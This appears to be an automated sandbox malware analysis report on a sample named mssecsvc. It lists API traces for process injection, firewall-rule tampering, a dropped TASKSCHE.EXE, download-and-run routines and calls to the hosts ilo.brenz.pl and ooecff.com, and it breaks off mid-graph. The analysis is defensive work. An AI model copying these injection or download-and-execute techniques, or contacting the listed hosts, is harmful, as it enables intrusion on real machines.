                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_ac0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: CloseCreateFileHandle$ThreadView$AddressEventInformationModuleNameOpenProcQuerySectionSystemUnmapwsprintf
                                                                                          • String ID: C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe$C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe:*:enabled:@shell32.dll,-1$C:\WINDOWS\TASKSCHE.EXE$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                                                                                          • API String ID: 541178049-243958042
                                                                                          • Opcode ID: 93ed13287a7bd2140dafd5b4f212b57c54acf0fe28af45ebd9ce4fa85cb1ab7f
                                                                                          • Instruction ID: 44963c5d39a22d6718f2fd3c2ac2f3ca758a282ca8e57036e7ca9096d5059e97
                                                                                          • Opcode Fuzzy Hash: 93ed13287a7bd2140dafd5b4f212b57c54acf0fe28af45ebd9ce4fa85cb1ab7f
                                                                                          • Instruction Fuzzy Hash: 55A1EF72508248BFEB219F248C5EFEA7BACEF45300F06465CE84A8E082D6F45F45C7A5
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 7FEA3F60 Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 215librarystringthreadCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • LoadLibraryA.KERNEL32(7FEA3F54), ref: 7FEA3F60
                                                                                            • Part of subcall function 7FEA3F8F: LoadLibraryA.KERNEL32(7FEA3F83), ref: 7FEA3F8F
                                                                                            • Part of subcall function 7FEA3F8F: WSAStartup.WS2_32(00000101), ref: 7FEA3FCE
                                                                                            • Part of subcall function 7FEA3F8F: CreateThread.KERNEL32(00000000,00000000,Function_00003888,00000000,00000000), ref: 7FEA3FE9
                                                                                            • Part of subcall function 7FEA3F8F: CloseHandle.KERNEL32(?,00000000), ref: 7FEA3FF2
                                                                                            • Part of subcall function 7FEA3F8F: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 7FEA3FFF
                                                                                            • Part of subcall function 7FEA3F8F: socket.WS2_32(00000002,00000001,00000000), ref: 7FEA4097
                                                                                            • Part of subcall function 7FEA3F8F: connect.WS2_32(6F6C6902,7FEA3B09,00000010), ref: 7FEA40B1
                                                                                            • Part of subcall function 7FEA3F8F: GetVersionExA.KERNEL32(?,?,00000000), ref: 7FEA40FB
                                                                                          • lstrlen.KERNEL32(ilo.brenz.pl,?,00000000), ref: 7FEA4057
                                                                                          • gethostbyname.WS2_32(ilo.brenz.pl), ref: 7FEA4066
                                                                                          • wsprintfA.USER32 ref: 7FEA4179
                                                                                          • CreateThread.KERNEL32(00000000,00000000,Function_00003819,6F6C6902,00000000), ref: 7FEA41B4
                                                                                          • CloseHandle.KERNEL32(?,00000000,6F6C6902,7FEA6AA2,00000000,00000000), ref: 7FEA41BD
                                                                                          • GetTickCount.KERNEL32 ref: 7FEA41F6
                                                                                          Strings
                                                                                          • C:\WINDOWS\TASKSCHE.EXE, xrefs: 7FEA41DA
                                                                                          • C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe, xrefs: 7FEA4195, 7FEA41DB
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.532903176.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: Create$CloseHandleLibraryLoadThread$CountEventStartupTickVersionconnectgethostbynamelstrlensocketwsprintf
                                                                                          • String ID: C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe$C:\WINDOWS\TASKSCHE.EXE
                                                                                          • API String ID: 2996464229-1945156119
                                                                                          • Opcode ID: 3a46fe8949218d8fc9384494124be36ff555b877cdb5172203310d60a3e128ac
                                                                                          • Instruction ID: 9d7a0edf8395d02bdb3222331a00bfe847c5167623d17b4b3927ccf0a8489e01
                                                                                          • Opcode Fuzzy Hash: 3a46fe8949218d8fc9384494124be36ff555b877cdb5172203310d60a3e128ac
                                                                                          • Instruction Fuzzy Hash: 5381FE71508388BFEB228F348C59BEA7BADEF41304F040659E84A9E091C7F66F45C762
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00AC3F60 Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 215librarystringthreadCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • LoadLibraryA.KERNEL32(00AC3F54), ref: 00AC3F60
                                                                                            • Part of subcall function 00AC3F8F: LoadLibraryA.KERNEL32(00AC3F83), ref: 00AC3F8F
                                                                                            • Part of subcall function 00AC3F8F: WSAStartup.WS2_32(00000101), ref: 00AC3FCE
                                                                                            • Part of subcall function 00AC3F8F: CreateThread.KERNEL32(00000000,00000000,Function_00003888,00000000,00000000), ref: 00AC3FE9
                                                                                            • Part of subcall function 00AC3F8F: CloseHandle.KERNEL32(?,00000000), ref: 00AC3FF2
                                                                                            • Part of subcall function 00AC3F8F: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 00AC3FFF
                                                                                            • Part of subcall function 00AC3F8F: socket.WS2_32(00000002,00000001,00000000), ref: 00AC4097
                                                                                            • Part of subcall function 00AC3F8F: connect.WS2_32(6F6C6902,00AC3B09,00000010), ref: 00AC40B1
                                                                                            • Part of subcall function 00AC3F8F: GetVersionExA.KERNEL32(?,?,00000000), ref: 00AC40FB
                                                                                          • lstrlen.KERNEL32(ilo.brenz.pl,?,00000000), ref: 00AC4057
                                                                                          • gethostbyname.WS2_32(ilo.brenz.pl), ref: 00AC4066
                                                                                          • wsprintfA.USER32 ref: 00AC4179
                                                                                          • CreateThread.KERNEL32(00000000,00000000,Function_00003819,6F6C6902,00000000), ref: 00AC41B4
                                                                                          • CloseHandle.KERNEL32(?,00000000,6F6C6902,00AC6AA2,00000000,00000000), ref: 00AC41BD
                                                                                          • GetTickCount.KERNEL32 ref: 00AC41F6
                                                                                          Strings
                                                                                          • C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe, xrefs: 00AC4195, 00AC41DB
                                                                                          • C:\WINDOWS\TASKSCHE.EXE, xrefs: 00AC41DA
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.531344319.0000000000AC0000.00000040.10000000.00040000.00000000.sdmp, Offset: 00AC0000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_ac0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: Create$CloseHandleLibraryLoadThread$CountEventStartupTickVersionconnectgethostbynamelstrlensocketwsprintf
                                                                                          • String ID: C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe$C:\WINDOWS\TASKSCHE.EXE
                                                                                          • API String ID: 2996464229-1945156119
                                                                                          • Opcode ID: 3a46fe8949218d8fc9384494124be36ff555b877cdb5172203310d60a3e128ac
                                                                                          • Instruction ID: c58e74f80873d8b372d4a7d56a95447d20665ec7752c72425da5cf5d493acb91
                                                                                          • Opcode Fuzzy Hash: 3a46fe8949218d8fc9384494124be36ff555b877cdb5172203310d60a3e128ac
                                                                                          • Instruction Fuzzy Hash: 9F81F171508258BFEB219F348C6ABEA7FACEF45310F05465CE88A8E182C6F45F45C765
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 7FEA388E Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 127networksleeptimeCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • GetSystemTime.KERNEL32(7FEA7584), ref: 7FEA389F
                                                                                          • Sleep.KERNEL32(0000EA60), ref: 7FEA3911
                                                                                          • InternetGetConnectedState.WININET(?,00000000), ref: 7FEA392A
                                                                                          • gethostbyname.WS2_32(0D278125), ref: 7FEA396C
                                                                                          • socket.WS2_32(00000002,00000001,00000000), ref: 7FEA3981
                                                                                          • ioctlsocket.WS2_32(?,8004667E), ref: 7FEA399A
                                                                                          • connect.WS2_32(?,?,00000010), ref: 7FEA39B3
                                                                                          • Sleep.KERNEL32(?,00000010,BB010002,00000000,8004667E,?,00000001), ref: 7FEA39C1
                                                                                          • closesocket.WS2_32 ref: 7FEA3A20
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.532903176.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: Sleep$ConnectedInternetStateSystemTimeclosesocketconnectgethostbynameioctlsocketsocket
                                                                                          • String ID: ooecff.com
                                                                                          • API String ID: 159131500-1898719242
                                                                                          • Opcode ID: b9cbcd502034ca6391bc477693aeae1c9470f5e239758c46d06d44a479c792e4
                                                                                          • Instruction ID: 863d8d36320b09296de0ef8eaaf11b1bc77ac7fb125708de1e92797cd0aa2464
                                                                                          • Opcode Fuzzy Hash: b9cbcd502034ca6391bc477693aeae1c9470f5e239758c46d06d44a479c792e4
                                                                                          • Instruction Fuzzy Hash: 4641C531604348BEDB218F208C49BE9BB6EEF85714F004159F90AEE1C1DBF79B409720
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 7FEA07AC Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 62processthreadinjectionCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                            • Part of subcall function 7FEA144A: LookupPrivilegeValueA.ADVAPI32(00000000,?), ref: 7FEA145A
                                                                                            • Part of subcall function 7FEA144A: NtAdjustPrivilegesToken.NTDLL(?,00000000,?,00000000,00000000,00000000), ref: 7FEA146A
                                                                                          • CloseHandle.KERNEL32(?), ref: 7FEA05AD
                                                                                          • FreeLibrary.KERNEL32(73E60000,?,7FEA079B,00000000,000077C4,00000000,?,00000002,00000000,00000040,00000000,000077C4), ref: 7FEA07B8
                                                                                          • CloseHandle.KERNEL32(?,?,7FEA079B,00000000,000077C4,00000000,?,00000002,00000000,00000040,00000000,000077C4), ref: 7FEA07BF
                                                                                          • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 7FEA07C9
                                                                                          • Process32First.KERNEL32 ref: 7FEA07DC
                                                                                          • Process32Next.KERNEL32 ref: 7FEA07ED
                                                                                          • OpenProcess.KERNEL32(0000002A,00000000,?,?,?,?,?,?,00000002,00000000,00000040,00000000,000077C4), ref: 7FEA0805
                                                                                          • CreateRemoteThread.KERNEL32(?,00000000,00000000,-00003C38,00000002,00000000), ref: 7FEA0842
                                                                                          • CloseHandle.KERNEL32(?,?,?,?,?,?,00000002,00000000,00000040,00000000,000077C4), ref: 7FEA085D
                                                                                          • CloseHandle.KERNEL32 ref: 7FEA086C
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.532903176.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: CloseHandle$CreateProcess32$AdjustFirstFreeLibraryLookupNextOpenPrivilegePrivilegesProcessRemoteSnapshotThreadTokenToolhelp32Value
                                                                                          • String ID: csrs
                                                                                          • API String ID: 3908997113-2321902090
                                                                                          • Opcode ID: cb63e8b7f3a99e4be573476feab88a83968f02cd0365d5f729e494595204ac2c
                                                                                          • Instruction ID: 84bb5cd5c05f80c9023c3546aa49ac891d3b4ee2c4a24ef2c536b510610674c9
                                                                                          • Opcode Fuzzy Hash: cb63e8b7f3a99e4be573476feab88a83968f02cd0365d5f729e494595204ac2c
                                                                                          • Instruction Fuzzy Hash: 59113D30502205BBEB255F31CD49BBF3A6DEF44711F00016CFE4B9E081DAB69B018AAA
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 7FEA2768 Relevance: 12.1, APIs: 8, Instructions: 85networkCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • GetTempPathA.KERNEL32(00000104), ref: 7FEA278C
                                                                                            • Part of subcall function 7FEA27A7: GetTempFileNameA.KERNEL32(?,7FEA27A3,00000000,?), ref: 7FEA27A8
                                                                                            • Part of subcall function 7FEA27A7: CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000000,00000000,?,7FEA27A3,00000000,?), ref: 7FEA27C3
                                                                                            • Part of subcall function 7FEA27A7: InternetReadFile.WININET(?,?,00000104), ref: 7FEA27DD
                                                                                            • Part of subcall function 7FEA27A7: WriteFile.KERNEL32(?,?,?,?,00000000,00000000,00000104,?,00000000,?,7FEA27A3,00000000,?), ref: 7FEA27F3
                                                                                            • Part of subcall function 7FEA27A7: CloseHandle.KERNEL32(?,00000104,?,00000000,?,7FEA27A3,00000000,?), ref: 7FEA27FF
                                                                                            • Part of subcall function 7FEA27A7: CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00000104,?,00000000,?,7FEA27A3), ref: 7FEA2823
                                                                                            • Part of subcall function 7FEA27A7: InternetCloseHandle.WININET(?), ref: 7FEA2833
                                                                                          • InternetCloseHandle.WININET(00000000), ref: 7FEA283A
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.532903176.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: File$CloseHandleInternet$CreateTemp$NamePathProcessReadWrite
                                                                                          • String ID:
                                                                                          • API String ID: 1995088466-0
                                                                                          • Opcode ID: 2d38deb6aefaf5fafd3701ae89f7df2c8b85ad1d9cd8c4e8e23ab3e50bde978c
                                                                                          • Instruction ID: c1ca02f886126752e6f21441145c1cc666a01a53b77e18b91c733c89828b9d16
                                                                                          • Opcode Fuzzy Hash: 2d38deb6aefaf5fafd3701ae89f7df2c8b85ad1d9cd8c4e8e23ab3e50bde978c
                                                                                          • Instruction Fuzzy Hash: A821C0B1145306BFE7215A20CC8AFFF3A6DEF95B10F000119FA4AAD081D7B29B15C6A6
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00AC2768 Relevance: 12.1, APIs: 8, Instructions: 85networkCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • GetTempPathA.KERNEL32(00000104), ref: 00AC278C
                                                                                            • Part of subcall function 00AC27A7: GetTempFileNameA.KERNEL32(?,00AC27A3,00000000,?), ref: 00AC27A8
                                                                                            • Part of subcall function 00AC27A7: CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000000,00000000,?,00AC27A3,00000000,?), ref: 00AC27C3
                                                                                            • Part of subcall function 00AC27A7: InternetReadFile.WININET(?,?,00000104), ref: 00AC27DD
                                                                                            • Part of subcall function 00AC27A7: WriteFile.KERNEL32(?,?,?,?,00000000,00000000,00000104,?,00000000,?,00AC27A3,00000000,?), ref: 00AC27F3
                                                                                            • Part of subcall function 00AC27A7: CloseHandle.KERNEL32(?,00000104,?,00000000,?,00AC27A3,00000000,?), ref: 00AC27FF
                                                                                            • Part of subcall function 00AC27A7: CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00000104,?,00000000,?,00AC27A3), ref: 00AC2823
                                                                                            • Part of subcall function 00AC27A7: InternetCloseHandle.WININET(?), ref: 00AC2833
                                                                                          • InternetCloseHandle.WININET(00000000), ref: 00AC283A
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.531344319.0000000000AC0000.00000040.10000000.00040000.00000000.sdmp, Offset: 00AC0000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_ac0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: File$CloseHandleInternet$CreateTemp$NamePathProcessReadWrite
                                                                                          • String ID:
                                                                                          • API String ID: 1995088466-0
                                                                                          • Opcode ID: 2d38deb6aefaf5fafd3701ae89f7df2c8b85ad1d9cd8c4e8e23ab3e50bde978c
                                                                                          • Instruction ID: f02e171e6f867a4f55d801f01784d921817fb8576e545cc77b9667b7c312b68a
                                                                                          • Opcode Fuzzy Hash: 2d38deb6aefaf5fafd3701ae89f7df2c8b85ad1d9cd8c4e8e23ab3e50bde978c
                                                                                          • Instruction Fuzzy Hash: 3921AFB1144206BFE7215B20CC8EFFF7A2DEF95B10F000529FA4999082D7B19E5587B6
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 7FEA27A7 Relevance: 12.1, APIs: 8, Instructions: 65filenetworkprocessCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • GetTempFileNameA.KERNEL32(?,7FEA27A3,00000000,?), ref: 7FEA27A8
                                                                                          • CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000000,00000000,?,7FEA27A3,00000000,?), ref: 7FEA27C3
                                                                                          • InternetReadFile.WININET(?,?,00000104), ref: 7FEA27DD
                                                                                          • WriteFile.KERNEL32(?,?,?,?,00000000,00000000,00000104,?,00000000,?,7FEA27A3,00000000,?), ref: 7FEA27F3
                                                                                          • CloseHandle.KERNEL32(?,00000104,?,00000000,?,7FEA27A3,00000000,?), ref: 7FEA27FF
                                                                                          • CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00000104,?,00000000,?,7FEA27A3), ref: 7FEA2823
                                                                                          • InternetCloseHandle.WININET(?), ref: 7FEA2833
                                                                                          • InternetCloseHandle.WININET(00000000), ref: 7FEA283A
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.532903176.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: File$CloseHandleInternet$Create$NameProcessReadTempWrite
                                                                                          • String ID:
                                                                                          • API String ID: 3452404049-0
                                                                                          • Opcode ID: bbf5c5561a5178fb7ef464295b4b729c13e68fcf671b41c3dcb44b7c67eff673
                                                                                          • Instruction ID: 5e72b063bb693ddb0cec3f1fad15b0eca3dde0b314aeb166be0943229ddb0145
                                                                                          • Opcode Fuzzy Hash: bbf5c5561a5178fb7ef464295b4b729c13e68fcf671b41c3dcb44b7c67eff673
                                                                                          • Instruction Fuzzy Hash: 56116DB1100606BBEB250B20CC4AFFB7A6DEF85B14F004519FA06AD080DBF5AB5196A8
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 7FEA10CE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54libraryloaderCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • GetModuleHandleA.KERNEL32(0207F804), ref: 7FEA113D
                                                                                          • GetProcAddress.KERNEL32(00000000,7FEA11D6), ref: 7FEA1148
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.532903176.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: AddressHandleModuleProc
                                                                                          • String ID: .DLL
                                                                                          • API String ID: 1646373207-899428287
                                                                                          • Opcode ID: 82aecbdba2b6c313781f1a35b90d956a9f8d4ce40e6713e346beece58f6b0b34
                                                                                          • Instruction ID: 2f73ade5318114d7e9bf37e66f68aeb85e6b2a503a621854e5f62f64a3af89c8
                                                                                          • Opcode Fuzzy Hash: 82aecbdba2b6c313781f1a35b90d956a9f8d4ce40e6713e346beece58f6b0b34
                                                                                          • Instruction Fuzzy Hash: D701D634607104EACB538E38C845BFE3B7EFF14275F004115D91A8F159C77A9A508F95
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00AC10CE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54libraryloaderCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • GetModuleHandleA.KERNEL32(0207F804), ref: 00AC113D
                                                                                          • GetProcAddress.KERNEL32(00000000,00AC11D6), ref: 00AC1148
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.531344319.0000000000AC0000.00000040.10000000.00040000.00000000.sdmp, Offset: 00AC0000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_ac0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: AddressHandleModuleProc
                                                                                          • String ID: .DLL
                                                                                          • API String ID: 1646373207-899428287
                                                                                          • Opcode ID: 82aecbdba2b6c313781f1a35b90d956a9f8d4ce40e6713e346beece58f6b0b34
                                                                                          • Instruction ID: 4f86a93ba56e1f864de5d1aa44c5c285daa7e04197ec747e8520e707f490b278
                                                                                          • Opcode Fuzzy Hash: 82aecbdba2b6c313781f1a35b90d956a9f8d4ce40e6713e346beece58f6b0b34
                                                                                          • Instruction Fuzzy Hash: CF01C030707001EACF648F2CC849FAA3B7CEF06355F16421CEA1A8B257C778CE808696
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Execution Graph

                                                                                          Execution Coverage:3.5%
                                                                                          Dynamic/Decrypted Code Coverage:0%
                                                                                          Signature Coverage:0%
                                                                                          Total number of Nodes:330
                                                                                          Total number of Limit Nodes:0
                                                                                          execution_graph 3104 b00fd6 3106 b010a0 3104->3106 3105 b0115c 3106->3105 3107 b01133 GetModuleHandleA GetProcAddress 3106->3107 3107->3106 2601 a71780 2602 a71788 2601->2602 2603 a71aa2 2602->2603 2605 a71971 2602->2605 2608 a7185b 2605->2608 2606 a7197f GetPEB 2607 a71994 2606->2607 2606->2608 2608->2605 2608->2606 2609 b03399 2611 b033a2 2609->2611 2612 b033a9 Sleep 2611->2612 2612->2612 2613 b03819 2615 b0381f WaitForSingleObject 2613->2615 2616 b0383b 2615->2616 2553 b0663a 2556 b06647 2553->2556 2557 b06652 2556->2557 2558 b06644 2556->2558 2557->2558 2560 b06658 2557->2560 2563 b02574 2560->2563 2582 b0252f NtOpenSection 2563->2582 2565 b0257c 2566 b02661 2565->2566 2567 b02582 NtMapViewOfSection FindCloseChangeNotification 2565->2567 2566->2558 2567->2566 2569 b025ba 2567->2569 2568 b025ef 2584 b02477 NtProtectVirtualMemory NtWriteVirtualMemory 2568->2584 2569->2568 2583 b02477 NtProtectVirtualMemory NtWriteVirtualMemory 2569->2583 2572 b02600 2585 b02477 NtProtectVirtualMemory NtWriteVirtualMemory 2572->2585 2574 b02611 2586 b02477 NtProtectVirtualMemory NtWriteVirtualMemory 2574->2586 2576 b02622 2577 b02637 2576->2577 2587 b02477 NtProtectVirtualMemory NtWriteVirtualMemory 2576->2587 2579 b0264c 2577->2579 2588 b02477 NtProtectVirtualMemory NtWriteVirtualMemory 2577->2588 2579->2566 2589 b02477 NtProtectVirtualMemory NtWriteVirtualMemory 2579->2589 2582->2565 2583->2568 2584->2572 2585->2574 2586->2576 2587->2577 2588->2579 2589->2566 2590 b0443b 2593 b0144a LookupPrivilegeValueA NtAdjustPrivilegesToken 2590->2593 2592 b04441 2593->2592 2634 b002fe 2635 b00415 2634->2635 2637 b0042d 2635->2637 2668 b010ce 2637->2668 2639 b0048f 2640 b004dd 2639->2640 2641 b004b0 GetModuleHandleA 2639->2641 2642 b004f8 GetVersion 2640->2642 2641->2640 2643 b005ca 2642->2643 2644 b0050f VirtualAlloc 2642->2644 2645 b005a9 CloseHandle 2643->2645 2646 b005d3 SetProcessAffinityMask 2643->2646 2644->2645 2650 b00532 2644->2650 2648 b005f2 GetModuleHandleA 2645->2648 2675 b005f2 GetModuleHandleA 2646->2675 2649 b010ce 2 API calls 2648->2649 2666 b005ec 2649->2666 2650->2645 2672 b005ba 2650->2672 2651 b006fc lstrcpyW 2694 b024ae lstrcpyW lstrlenW 2651->2694 2653 b00717 GetPEB lstrcpyW lstrcatW 2656 b024ae 3 API calls 2653->2656 2654 b0074c NtMapViewOfSection 2654->2645 2654->2666 2656->2666 2657 b00780 NtOpenProcessToken 2658 b007c5 CreateToolhelp32Snapshot Process32First 2657->2658 2657->2666 2659 b007eb Process32Next 2658->2659 2660 b00865 CloseHandle 2659->2660 2659->2666 2660->2645 2661 b007fd OpenProcess 2661->2659 2661->2666 2663 b02574 5 API calls 2663->2666 2664 b0085c CloseHandle 2664->2659 2665 b00834 CreateRemoteThread 2665->2664 2665->2666 2666->2645 2666->2651 2666->2653 2666->2654 2666->2657 2666->2658 2666->2659 2666->2661 2666->2663 2666->2664 2666->2665 2667 b005ba Sleep 2666->2667 2697 b007ac 2666->2697 2667->2664 2669 b010db 2668->2669 2669->2668 2670 b0115c 2669->2670 2671 b01133 GetModuleHandleA GetProcAddress 2669->2671 2670->2639 2671->2669 2673 b005c9 2672->2673 2674 b005bf Sleep 2672->2674 2673->2645 2674->2672 2676 b010ce 2 API calls 2675->2676 2692 b0060e 2676->2692 2677 b005a9 CloseHandle 2677->2675 2678 b006fc lstrcpyW 2679 b024ae 3 API calls 2678->2679 2679->2692 2680 b00717 GetPEB lstrcpyW lstrcatW 2682 b024ae 3 API calls 2680->2682 2681 b0074c NtMapViewOfSection 2681->2677 2681->2692 2682->2692 2683 b00780 NtOpenProcessToken 2684 b007c5 CreateToolhelp32Snapshot Process32First 2683->2684 2683->2692 2685 b007eb Process32Next 2684->2685 2686 b00865 CloseHandle 2685->2686 2685->2692 2686->2677 2687 b007fd OpenProcess 2687->2685 2687->2692 2688 b007ac 30 API calls 2688->2692 2689 b02574 5 API calls 2689->2692 2690 b0085c CloseHandle 2690->2685 2691 b00834 CreateRemoteThread 2691->2690 2691->2692 2692->2677 2692->2678 2692->2680 2692->2681 2692->2683 2692->2684 2692->2685 2692->2687 2692->2688 2692->2689 2692->2690 2692->2691 2693 b005ba Sleep 2692->2693 2693->2690 2695 b06c2b 2694->2695 2696 b024ea NtCreateSection 2695->2696 2696->2666 2720 b0144a LookupPrivilegeValueA NtAdjustPrivilegesToken 2697->2720 2699 b007b2 FreeLibrary FindCloseChangeNotification 2700 b007c5 CreateToolhelp32Snapshot Process32First 2699->2700 2701 b007eb Process32Next 2700->2701 2702 b00865 CloseHandle 2701->2702 2714 b0060e 2701->2714 2703 b005a9 CloseHandle 2702->2703 2705 b005f2 GetModuleHandleA 2703->2705 2704 b007fd OpenProcess 2704->2701 2704->2714 2706 b010ce 2 API calls 2705->2706 2706->2714 2707 b02574 5 API calls 2707->2714 2708 b0085c CloseHandle 2708->2701 2709 b00834 CreateRemoteThread 2709->2708 2710 b0084d 2709->2710 2711 b005ba Sleep 2710->2711 2711->2708 2712 b006fc lstrcpyW 2713 b024ae 3 API calls 2712->2713 2713->2714 2714->2700 2714->2701 2714->2703 2714->2704 2714->2707 2714->2708 2714->2709 2714->2712 2715 b00717 GetPEB lstrcpyW lstrcatW 2714->2715 2716 b0074c NtMapViewOfSection 2714->2716 2718 b00780 NtOpenProcessToken 2714->2718 2719 b007ac 13 API calls 2714->2719 2717 b024ae 3 API calls 2715->2717 2716->2703 2716->2714 2717->2714 2718->2700 2718->2714 2719->2714 2720->2699 2594 b06620 2595 b06647 5 API calls 2594->2595 2596 b0662a 2595->2596 2617 b00000 2618 b00004 2617->2618 2619 b000a1 2618->2619 2621 b0025e 2618->2621 2625 b00105 2621->2625 2624 b00278 2624->2619 2626 b00116 GetPEB 2625->2626 2626->2624 2721 b033e0 2722 b033e5 2721->2722 2723 b0344e 2721->2723 2724 b0346f MapViewOfFile CloseHandle 2722->2724 2726 b03440 NtOpenSection 2722->2726 2725 b0345f NtQuerySystemInformation 2723->2725 2729 b035f3 2723->2729 2728 b034b0 2724->2728 2724->2729 2725->2724 2726->2723 2727 b034b7 UnmapViewOfFile 2727->2729 2728->2727 2728->2729 2597 b01422 LookupPrivilegeValueA NtAdjustPrivilegesToken 2730 b02762 2732 b02768 2730->2732 2733 b02780 GetTempPathA 2732->2733 2734 b02829 2732->2734 2740 b027a7 GetTempFileNameA CreateFileA 2733->2740 2737 b027ce 2738 b027fe CloseHandle CreateProcessA 2737->2738 2739 b027ea WriteFile 2737->2739 2738->2734 2739->2737 2739->2738 2741 b027ce 2740->2741 2744 b027a3 CreateFileA 2740->2744 2742 b027fe CloseHandle 